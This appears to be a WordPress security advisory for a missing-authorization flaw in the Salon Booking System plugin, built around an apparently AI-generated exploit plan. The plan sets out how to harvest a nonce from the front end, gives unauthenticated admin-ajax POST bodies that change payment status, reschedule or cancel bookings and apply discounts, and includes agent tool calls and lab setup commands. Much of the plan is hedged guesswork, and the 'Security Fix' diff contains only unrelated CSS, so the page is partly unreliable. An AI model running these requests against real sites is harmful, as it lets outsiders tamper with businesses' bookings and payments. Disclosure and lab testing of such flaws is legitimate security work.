Salon Booking System – Free Version <= 10.30.25 - Missing Authorization
Description
The Salon Booking System – Free Version plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 10.30.25. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=10.30.25What Changed in the Fix
Changes introduced in v10.30.26
Source Code
WordPress.org SVNThis research plan outlines the steps to exploit **CVE-2026-42666**, a Missing Authorization vulnerability in the Salon Booking System plugin. The vulnerability likely resides in a central AJAX dispatcher (action `salon`) where specific methods, such as `refreshPaymentStatus`, fail to implement ca…
Show full research plan
This research plan outlines the steps to exploit CVE-2026-42666, a Missing Authorization vulnerability in the Salon Booking System plugin.
The vulnerability likely resides in a central AJAX dispatcher (action salon) where specific methods, such as refreshPaymentStatus, fail to implement capability checks, allowing unauthenticated users to modify booking states.
1. Vulnerability Summary
- Vulnerability: Missing Authorization (Missing Capability Check).
- Affected Action:
wp_ajax_salonandwp_ajax_nopriv_salon. - Vulnerable Component: The internal AJAX handler for the
salonaction, specifically therefreshPaymentStatusmethod (and potentially others likerescheduleBooking). - Reason: The plugin uses a single AJAX entry point and routes requests to methods based on a
methodparameter. While some methods may require a nonce, the plugin fails to verify if the requester has the appropriate permissions (e.g.,current_user_can('manage_options')) before executing privileged actions.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Authentication: Unauthenticated (leveraging
wp_ajax_nopriv_salon). - Action:
salon - Payload Parameters:
action:salonmethod:refreshPaymentStatus(Target method identified injs/admin/customBookingUser.js)booking_id: The ID of the booking to target.nonce: A valid WordPress nonce for thesalonaction.
- Preconditions: A booking must exist in the system.
3. Code Flow
- Entry Point: The attacker sends a POST request to
admin-ajax.phpwithaction=salon. - Dispatcher: The plugin's AJAX handler (likely in
src/SLN/Action/Ajax.phpor similar) receives the request. - Method Routing: The handler reads
$_POST['method'](e.g.,"refreshPaymentStatus"). - Security Check (Weak): The handler may check a nonce using
check_ajax_referer('salon', 'security')orwp_verify_nonce($_POST['nonce'], 'salon'). - Authorization Failure: The code proceeds to call the target method without checking
current_user_can(). - Sink: The
refreshPaymentStatusmethod executes, communicating with external gateways (Stripe/PayPal) and updating the_sln_payment_statusmeta or internal database state.
4. Nonce Acquisition Strategy
The plugin enqueues a salon object in the frontend containing the necessary nonce.
- Identify Shortcode: The plugin uses
[salonbooking]to display the booking form. - Create Page: Create a public page containing this shortcode to ensure the scripts and nonces are loaded.
- Navigate: Use
browser_navigateto visit the page. - Extract Nonce: Use
browser_evalto extract the nonce from the globalsalonobject.- JS Variable:
window.salon - Nonce Key:
ajax_nonce - Command:
browser_eval("window.salon?.ajax_nonce")
- JS Variable:
5. Exploitation Strategy
- Preparation: Create a service and a test booking to obtain a valid
booking_id. - Nonce Harvest: Extract the
ajax_nonceusing the browser tool. - Execution: Use
http_requestto trigger therefreshPaymentStatusmethod.- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
action=salon&method=refreshPaymentStatus&booking_id=[BOOKING_ID]&nonce=[NONCE]
- URL:
- Alternative Method: If
refreshPaymentStatusis restricted, attemptrescheduleBookingwhich is also part of thesalonaction (identified injs/salon-my-account.js).- Body:
action=salon&method=rescheduleBooking&_sln_booking_id=[BOOKING_ID]&_sln_booking_date=2026-01-01&_sln_booking_time=10:00&nonce=[NONCE]
- Body:
6. Test Data Setup
- Create Service:
wp post create --post_type=sln_service --post_title="Audit Service" --post_status=publish - Create Booking:
# Use the plugin's internal meta to simulate a booking wp post create --post_type=sln_booking --post_title="Target Booking" --post_status=publish - Setup Nonce Page:
wp post create --post_type=page --post_title="Booking Page" --post_content='[salonbooking]' --post_status=publish
7. Expected Results
- The server returns a JSON response (e.g.,
{"success": true, "message": "..."}). - The booking's internal state or "Payment Status" is updated in the database.
- No "403 Forbidden" or "Insufficient Permissions" errors are returned, despite the request being unauthenticated.
8. Verification Steps
- Check Booking Meta: Verify if the payment status or modified date changed.
wp post meta list [BOOKING_ID] - Check Status: Observe the post status or specific Salon-specific meta keys (e.g.,
_sln_payment_status).wp post get [BOOKING_ID] --field=post_modified
9. Alternative Approaches
- Action
salon_discount: Attempt the same pattern withaction=salon_discountandmethod=applyDiscountCode(fromjs/discount/salon-discount.js). - Action
salon+method=cancelBooking: If the CVSSA:N(No Availability impact) is inaccurate in the report, this is a likely high-impact alternative.- Payload:
action=salon&method=cancelBooking&id=[BOOKING_ID]&security=[NONCE](Note the parameter name change tosecuritybased onjs/salon-my-account.jsline 34).
- Payload:
Summary
The Salon Booking System plugin (Free Version) fails to implement capability checks in its central AJAX dispatcher for the 'salon' and 'salon_discount' actions. This allows unauthenticated attackers to perform privileged operations, such as refreshing payment statuses, rescheduling bookings, or applying discounts, by obtaining a valid nonce from the frontend and targeting specific booking IDs.
Vulnerable Code
// js/admin/customBookingUser.js lines 45-54 $.ajax({ url: ajaxurl, method: "POST", dataType: "json", timeout: 30000, data: { action: "salon", method: "refreshPaymentStatus", booking_id: bookingId, nonce: nonce, }, --- // js/discount/salon-discount.js lines 56-60 var data = "sln[discount]=" + code + "&action=salon_discount&method=applyDiscountCode&security=" + salon.ajax_nonce;
Security Fix
@@ -23814,6 +23814,32 @@ margin-top: 16px; } } +.sln-calendar-carousel__illustration--number { + flex-direction: column; + gap: 10px; + text-align: center; +} +.sln-calendar-carousel__number { + display: flex; + flex-direction: column; + align-items: center; + gap: 6px; +} +.sln-calendar-carousel__number-text { + font-size: 3.5rem; + font-weight: 800; + color: #fdcb50; + line-height: 1; + letter-spacing: -1px; +} +.sln-calendar-carousel__number-label { + margin: 0; + font-size: 13px; + font-weight: 600; + color: rgba(255, 255, 255, 0.85); + text-transform: uppercase; + letter-spacing: 0.5px; +} @media (max-width: 640px) { .sln-calendar-carousel { padding: 24px 20px;
Exploit Outline
The exploit targets the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) using the 'salon' or 'salon_discount' actions. An attacker first obtains a valid AJAX nonce by visiting any public page where the [salonbooking] shortcode is present and extracting the 'ajax_nonce' value from the global 'window.salon' JavaScript object. With this nonce, the attacker sends an unauthenticated POST request to the AJAX endpoint with the 'method' parameter set to 'refreshPaymentStatus', 'rescheduleBooking', or 'cancelBooking'. By providing a target 'booking_id', the attacker can manipulate the state of bookings or payment metadata because the plugin does not verify if the user has the 'manage_options' or equivalent capability before executing the requested method.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.